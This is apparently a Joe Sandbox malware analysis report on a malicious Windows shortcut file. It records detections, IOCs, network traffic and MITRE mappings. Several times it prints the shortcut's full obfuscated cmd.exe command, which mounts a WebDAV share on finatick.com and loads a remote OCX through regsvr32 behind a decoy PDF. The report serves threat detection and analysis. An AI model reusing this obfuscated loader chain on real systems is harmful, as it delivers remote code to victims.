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Windows Analysis Report
daHTg2LQmU.lnk

Overview

General Information

Sample name:	daHTg2LQmU.lnk renamed because original name is a hash value
Original sample name:	26a989ca3cc6222e3980b874a247112e.lnk
Analysis ID:	1581576
MD5:	26a989ca3cc6222e3980b874a247112e
SHA1:	df7f39d5e475ed6d61055d4a8160b9b6c5348dfa
SHA256:	44aa68bbf2c5d018346fdfc21ba1d419f80921c8436778e4baeafbfb40aa6eeb
Tags:	lnkuser-abuse_ch
Infos:

Detection

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Windows shortcut file (LNK) starts blacklisted processes

AI detected suspicious sample

Gathers information about network shares

Machine Learning detection for sample

Obfuscated command line found

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 6680 cmdline: "C:\Windows\System32\cmd.exe" /v /c "set RQXjD6fW=s^e&& !RQXjD6fW!t "MCYt=3" &&!RQXjD6fW!t "efzo=8" &&!RQXjD6fW!t "ftZA=t" &&!RQXjD6fW!t "TTzp=i" &&!RQXjD6fW!t "chTu=m" &&!RQXjD6fW!t "hGQK=s" &&!RQXjD6fW!t "rluF=a" &&!RQXjD6fW!t "XBYZ=l" &&!RQXjD6fW!t "fcfQ=v" &&!RQXjD6fW!t "YeJz=e" &&!RQXjD6fW!t "xrnc=o" &&!RQXjD6fW!t "MQiS=c" &&!RQXjD6fW!t "orMz=r" &&!RQXjD6fW!t "G4JhJXG1=\\fina!ftZA!!TTzp!ck.co!chTu!@!efzo!080\doc!hGQK!\" && c!rluF!!XBYZ!l !RQXjD6fW!t "ze7Pw47M=Acti!fcfQ!!YeJz!P!xrnc!d.o!MQiS!x" && net us!YeJz! !G4JhJXG1! && wm!TTzp!!MQiS! proc!YeJz!!hGQK!s c!rluF!l!XBYZ! c!orMz!e!rluF!!ftZA!!YeJz! "!orMz!!YeJz!gs!fcfQ!!orMz!!MCYt!2 /!hGQK! /i !G4JhJXG1!!ze7Pw47M!" && st!rluF!r!ftZA! !G4JhJXG1!Crypto.pdf " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 6872 cmdline: net use \\finatick.com@8080\docs\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

cleanup

Sigma Signatures

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 65.20.104.212, DestinationIsIpv6: false, DestinationPort: 8080, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6872, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\finatick.com@8080\docs\, CommandLine: net use \\finatick.com@8080\docs\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /v /c "set RQXjD6fW=s^e&& !RQXjD6fW!t "MCYt=3" &&!RQXjD6fW!t "efzo=8" &&!RQXjD6fW!t "ftZA=t" &&!RQXjD6fW!t "TTzp=i" &&!RQXjD6fW!t "chTu=m" &&!RQXjD6fW!t "hGQK=s" &&!RQXjD6fW!t "rluF=a" &&!RQXjD6fW!t "XBYZ=l" &&!RQXjD6fW!t "fcfQ=v" &&!RQXjD6fW!t "YeJz=e" &&!RQXjD6fW!t "xrnc=o" &&!RQXjD6fW!t "MQiS=c" &&!RQXjD6fW!t "orMz=r" &&!RQXjD6fW!t "G4JhJXG1=\\fina!ftZA!!TTzp!ck.co!chTu!@!efzo!080\doc!hGQK!\" && c!rluF!!XBYZ!l !RQXjD6fW!t "ze7Pw47M=Acti!fcfQ!!YeJz!P!xrnc!d.o!MQiS!x" && net us!YeJz! !G4JhJXG1! && wm!TTzp!!MQiS! proc!YeJz!!hGQK!s c!rluF!l!XBYZ! c!orMz!e!rluF!!ftZA!!YeJz! "!orMz!!YeJz!gs!fcfQ!!orMz!!MCYt!2 /!hGQK! /i !G4JhJXG1!!ze7Pw47M!" && st!rluF!r!ftZA! !G4JhJXG1!Crypto.pdf ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6680, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\finatick.com@8080\docs\, ProcessId: 6872, ProcessName: net.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\finatick.com@8080\docs\, CommandLine: net use \\finatick.com@8080\docs\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /v /c "set RQXjD6fW=s^e&& !RQXjD6fW!t "MCYt=3" &&!RQXjD6fW!t "efzo=8" &&!RQXjD6fW!t "ftZA=t" &&!RQXjD6fW!t "TTzp=i" &&!RQXjD6fW!t "chTu=m" &&!RQXjD6fW!t "hGQK=s" &&!RQXjD6fW!t "rluF=a" &&!RQXjD6fW!t "XBYZ=l" &&!RQXjD6fW!t "fcfQ=v" &&!RQXjD6fW!t "YeJz=e" &&!RQXjD6fW!t "xrnc=o" &&!RQXjD6fW!t "MQiS=c" &&!RQXjD6fW!t "orMz=r" &&!RQXjD6fW!t "G4JhJXG1=\\fina!ftZA!!TTzp!ck.co!chTu!@!efzo!080\doc!hGQK!\" && c!rluF!!XBYZ!l !RQXjD6fW!t "ze7Pw47M=Acti!fcfQ!!YeJz!P!xrnc!d.o!MQiS!x" && net us!YeJz! !G4JhJXG1! && wm!TTzp!!MQiS! proc!YeJz!!hGQK!s c!rluF!l!XBYZ! c!orMz!e!rluF!!ftZA!!YeJz! "!orMz!!YeJz!gs!fcfQ!!orMz!!MCYt!2 /!hGQK! /i !G4JhJXG1!!ze7Pw47M!" && st!rluF!r!ftZA! !G4JhJXG1!Crypto.pdf ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6680, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\finatick.com@8080\docs\, ProcessId: 6872, ProcessName: net.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:29:44.833701+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	65.20.104.212	8080	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: daHTg2LQmU.lnk

Virustotal: Detection: 8%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 97.0% probability

Machine Learning detection for sample

Source: daHTg2LQmU.lnk

Joe Sandbox ML: detected

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 65.20.104.212:8080

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 65.20.104.212:8080

Source: Joe Sandbox View

ASN Name: CP-ASDE CP-ASDE

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: finatick.com

Source: net.exe, 00000002.00000002.2108829925.0000029FE5837000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: http://finatick.com:8080/

Source: classification engine

Classification label: mal80.spyw.winLNK@4/0@1/1

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\net.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: daHTg2LQmU.lnk

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /v /c "set RQXjD6fW=s^e&& !RQXjD6fW!t "MCYt=3" &&!RQXjD6fW!t "efzo=8" &&!RQXjD6fW!t "ftZA=t" &&!RQXjD6fW!t "TTzp=i" &&!RQXjD6fW!t "chTu=m" &&!RQXjD6fW!t "hGQK=s" &&!RQXjD6fW!t "rluF=a" &&!RQXjD6fW!t "XBYZ=l" &&!RQXjD6fW!t "fcfQ=v" &&!RQXjD6fW!t "YeJz=e" &&!RQXjD6fW!t "xrnc=o" &&!RQXjD6fW!t "MQiS=c" &&!RQXjD6fW!t "orMz=r" &&!RQXjD6fW!t "G4JhJXG1=\\fina!ftZA!!TTzp!ck.co!chTu!@!efzo!080\doc!hGQK!\" && c!rluF!!XBYZ!l !RQXjD6fW!t "ze7Pw47M=Acti!fcfQ!!YeJz!P!xrnc!d.o!MQiS!x" && net us!YeJz! !G4JhJXG1! && wm!TTzp!!MQiS! proc!YeJz!!hGQK!s c!rluF!l!XBYZ! c!orMz!e!rluF!!ftZA!!YeJz! "!orMz!!YeJz!gs!fcfQ!!orMz!!MCYt!2 /!hGQK! /i !G4JhJXG1!!ze7Pw47M!" && st!rluF!r!ftZA! !G4JhJXG1!Crypto.pdf "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\finatick.com@8080\docs\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\finatick.com@8080\docs\	Jump to behavior

Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Data Obfuscation

Obfuscated command line found

Source: unknown

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /v /c "set RQXjD6fW=s^e&& !RQXjD6fW!t "MCYt=3" &&!RQXjD6fW!t "efzo=8" &&!RQXjD6fW!t "ftZA=t" &&!RQXjD6fW!t "TTzp=i" &&!RQXjD6fW!t "chTu=m" &&!RQXjD6fW!t "hGQK=s" &&!RQXjD6fW!t "rluF=a" &&!RQXjD6fW!t "XBYZ=l" &&!RQXjD6fW!t "fcfQ=v" &&!RQXjD6fW!t "YeJz=e" &&!RQXjD6fW!t "xrnc=o" &&!RQXjD6fW!t "MQiS=c" &&!RQXjD6fW!t "orMz=r" &&!RQXjD6fW!t "G4JhJXG1=\\fina!ftZA!!TTzp!ck.co!chTu!@!efzo!080\doc!hGQK!\" && c!rluF!!XBYZ!l !RQXjD6fW!t "ze7Pw47M=Acti!fcfQ!!YeJz!P!xrnc!d.o!MQiS!x" && net us!YeJz! !G4JhJXG1! && wm!TTzp!!MQiS! proc!YeJz!!hGQK!s c!rluF!l!XBYZ! c!orMz!e!rluF!!ftZA!!YeJz! "!orMz!!YeJz!gs!fcfQ!!orMz!!MCYt!2 /!hGQK! /i !G4JhJXG1!!ze7Pw47M!" && st!rluF!r!ftZA! !G4JhJXG1!Crypto.pdf "

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file

Process created: C:\Windows\System32\cmd.exe

Source: C:\Windows\System32\net.exe TID: 6920

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: net.exe, 00000002.00000002.2109621388.0000029FE5898000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000002.00000003.2106337484.0000029FE5898000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000002.00000002.2108829925.0000029FE5837000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\net.exe net use \\finatick.com@8080\docs\

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /v /c "set rqxjd6fw=s^e&& !rqxjd6fw!t "mcyt=3" &&!rqxjd6fw!t "efzo=8" &&!rqxjd6fw!t "ftza=t" &&!rqxjd6fw!t "ttzp=i" &&!rqxjd6fw!t "chtu=m" &&!rqxjd6fw!t "hgqk=s" &&!rqxjd6fw!t "rluf=a" &&!rqxjd6fw!t "xbyz=l" &&!rqxjd6fw!t "fcfq=v" &&!rqxjd6fw!t "yejz=e" &&!rqxjd6fw!t "xrnc=o" &&!rqxjd6fw!t "mqis=c" &&!rqxjd6fw!t "ormz=r" &&!rqxjd6fw!t "g4jhjxg1=\\fina!ftza!!ttzp!ck.co!chtu!@!efzo!080\doc!hgqk!\" && c!rluf!!xbyz!l !rqxjd6fw!t "ze7pw47m=acti!fcfq!!yejz!p!xrnc!d.o!mqis!x" && net us!yejz! !g4jhjxg1! && wm!ttzp!!mqis! proc!yejz!!hgqk!s c!rluf!l!xbyz! c!ormz!e!rluf!!ftza!!yejz! "!ormz!!yejz!gs!fcfq!!ormz!!mcyt!2 /!hgqk! /i !g4jhjxg1!!ze7pw47m!" && st!rluf!r!ftza! !g4jhjxg1!crypto.pdf "

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\finatick.com@8080\docs\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\finatick.com@8080\docs\			Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Virtualization/Sandbox Evasion	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Process Injection	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Link
daHTg2LQmU.lnk	5%	ReversingLabs
daHTg2LQmU.lnk	8%	Virustotal	Browse
daHTg2LQmU.lnk	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://finatick.com:8080/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
finatick.com	65.20.104.212	true	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://finatick.com:8080/	net.exe, 00000002.00000002.2108829925.0000029FE5837000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
65.20.104.212	finatick.com	United States		199592	CP-ASDE	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581576
Start date and time:	2024-12-28 09:28:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	daHTg2LQmU.lnk renamed because original name is a hash value
Original Sample Name:	26a989ca3cc6222e3980b874a247112e.lnk
Detection:	MAL
Classification:	mal80.spyw.winLNK@4/0@1/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

Time	Type	Description
03:29:43	API Interceptor	1x Sleep call for process: net.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CP-ASDE	Sw7141dkgT.lnk	Get hash	malicious	Unknown	Browse	65.20.104.217
	hax.spc.elf	Get hash	malicious	Mirai	Browse	65.20.206.188
	mu3JuAyrj5.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	65.21.119.48
	850.exe	Get hash	malicious	AsyncRAT	Browse	65.21.198.54
	tDLozbx48F.exe	Get hash	malicious	Gurcu Stealer	Browse	65.21.49.163
	botx.spc.elf	Get hash	malicious	Mirai	Browse	65.21.172.4
	Finish_Agreement_DocuSign.pdf	Get hash	malicious	Unknown	Browse	65.21.29.43
	RasTls.dll	Get hash	malicious	Unknown	Browse	65.20.90.139
	RasTls.dll	Get hash	malicious	Unknown	Browse	65.20.90.139
	RFQ.scr.exe	Get hash	malicious	Discord Token Stealer	Browse	65.21.66.211

File type:	MS Windows shortcut, Item id list present, Has Description string, Has Working directory, Has command line arguments, Icon number=13, Archive, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hidenormalshowminimized
Entropy (8bit):	3.981052921515892
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	daHTg2LQmU.lnk
File size:	2'099 bytes
MD5:	26a989ca3cc6222e3980b874a247112e
SHA1:	df7f39d5e475ed6d61055d4a8160b9b6c5348dfa
SHA256:	44aa68bbf2c5d018346fdfc21ba1d419f80921c8436778e4baeafbfb40aa6eeb
SHA512:	0f3b28bfe5244efd2e7910b397cd2b80f4bf336d05bf5137d4eac799a581b2d8a7ad7cdff139a9362dc30559466bde6cdb575c64709d2b78d89364fac295d777
SSDEEP:	48:8FHZcQ08Wsja9wGd1Yn8OccENDbCZzavh:85Zcjujcw81YnDccENDbCZz
TLSH:	CD418F7506EF0210D7E18636CEE9F395887FBB60543DA709CD984B0D8430903AF237A6
File Content Preview:	L..................F.... ...................................................8....P.O. .:i.....+00.../C:\......................V.1......Y....Windows.@........OwH.Y......d!....................\...W.i.n.d.o.w.s.....Z.1......Y.i..System32..B........OwH.Y.....

File Icon


Icon Hash:	070d7dbda9a90d15

Static Windows Shortcut Info

General
Relative Path:
Command Line Argument:	/v /c "set RQXjD6fW=s^e&& !RQXjD6fW!t "MCYt=3" &&!RQXjD6fW!t "efzo=8" &&!RQXjD6fW!t "ftZA=t" &&!RQXjD6fW!t "TTzp=i" &&!RQXjD6fW!t "chTu=m" &&!RQXjD6fW!t "hGQK=s" &&!RQXjD6fW!t "rluF=a" &&!RQXjD6fW!t "XBYZ=l" &&!RQXjD6fW!t "fcfQ=v" &&!RQXjD6fW!t "YeJz=e" &&!RQXjD6fW!t "xrnc=o" &&!RQXjD6fW!t "MQiS=c" &&!RQXjD6fW!t "orMz=r" &&!RQXjD6fW!t "G4JhJXG1=\\fina!ftZA!!TTzp!ck.co!chTu!@!efzo!080\doc!hGQK!\" && c!rluF!!XBYZ!l !RQXjD6fW!t "ze7Pw47M=Acti!fcfQ!!YeJz!P!xrnc!d.o!MQiS!x" && net us!YeJz! !G4JhJXG1! && wm!TTzp!!MQiS! proc!YeJz!!hGQK!s c!rluF!l!XBYZ! c!orMz!e!rluF!!ftZA!!YeJz! "!orMz!!YeJz!gs!fcfQ!!orMz!!MCYt!2 /!hGQK! /i !G4JhJXG1!!ze7Pw47M!" && st!rluF!r!ftZA! !G4JhJXG1!Crypto.pdf"
Icon location:	C:\Windows\System32\shell32.dll

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-28T09:29:44.833701+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	65.20.104.212	8080	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 28, 2024 09:29:22.762681961 CET	49731	8080	192.168.2.4	65.20.104.212
Dec 28, 2024 09:29:22.882189989 CET	8080	49731	65.20.104.212	192.168.2.4
Dec 28, 2024 09:29:22.882286072 CET	49731	8080	192.168.2.4	65.20.104.212
Dec 28, 2024 09:29:22.883223057 CET	49731	8080	192.168.2.4	65.20.104.212
Dec 28, 2024 09:29:23.002651930 CET	8080	49731	65.20.104.212	192.168.2.4
Dec 28, 2024 09:29:44.833551884 CET	8080	49731	65.20.104.212	192.168.2.4
Dec 28, 2024 09:29:44.833700895 CET	49731	8080	192.168.2.4	65.20.104.212
Dec 28, 2024 09:29:44.839380026 CET	49731	8080	192.168.2.4	65.20.104.212
Dec 28, 2024 09:29:44.959223986 CET	8080	49731	65.20.104.212	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 28, 2024 09:29:22.395262003 CET	50616	53	192.168.2.4	1.1.1.1
Dec 28, 2024 09:29:22.755775928 CET	53	50616	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 28, 2024 09:29:22.395262003 CET	192.168.2.4	1.1.1.1	0xedaf	Standard query (0)	finatick.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 28, 2024 09:29:22.755775928 CET	1.1.1.1	192.168.2.4	0xedaf	No error (0)	finatick.com		65.20.104.212	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	65.20.104.212	8080	6872	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Dec 28, 2024 09:29:22.883223057 CET	106	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: finatick.com:8080

Target ID:	0
Start time:	03:29:21
Start date:	28/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /v /c "set RQXjD6fW=s^e&& !RQXjD6fW!t "MCYt=3" &&!RQXjD6fW!t "efzo=8" &&!RQXjD6fW!t "ftZA=t" &&!RQXjD6fW!t "TTzp=i" &&!RQXjD6fW!t "chTu=m" &&!RQXjD6fW!t "hGQK=s" &&!RQXjD6fW!t "rluF=a" &&!RQXjD6fW!t "XBYZ=l" &&!RQXjD6fW!t "fcfQ=v" &&!RQXjD6fW!t "YeJz=e" &&!RQXjD6fW!t "xrnc=o" &&!RQXjD6fW!t "MQiS=c" &&!RQXjD6fW!t "orMz=r" &&!RQXjD6fW!t "G4JhJXG1=\\fina!ftZA!!TTzp!ck.co!chTu!@!efzo!080\doc!hGQK!\" && c!rluF!!XBYZ!l !RQXjD6fW!t "ze7Pw47M=Acti!fcfQ!!YeJz!P!xrnc!d.o!MQiS!x" && net us!YeJz! !G4JhJXG1! && wm!TTzp!!MQiS! proc!YeJz!!hGQK!s c!rluF!l!XBYZ! c!orMz!e!rluF!!ftZA!!YeJz! "!orMz!!YeJz!gs!fcfQ!!orMz!!MCYt!2 /!hGQK! /i !G4JhJXG1!!ze7Pw47M!" && st!rluF!r!ftZA! !G4JhJXG1!Crypto.pdf "
Imagebase:	0x7ff67f040000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:29:21
Start date:	28/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:29:21
Start date:	28/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\finatick.com@8080\docs\
Imagebase:	0x7ff70b040000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
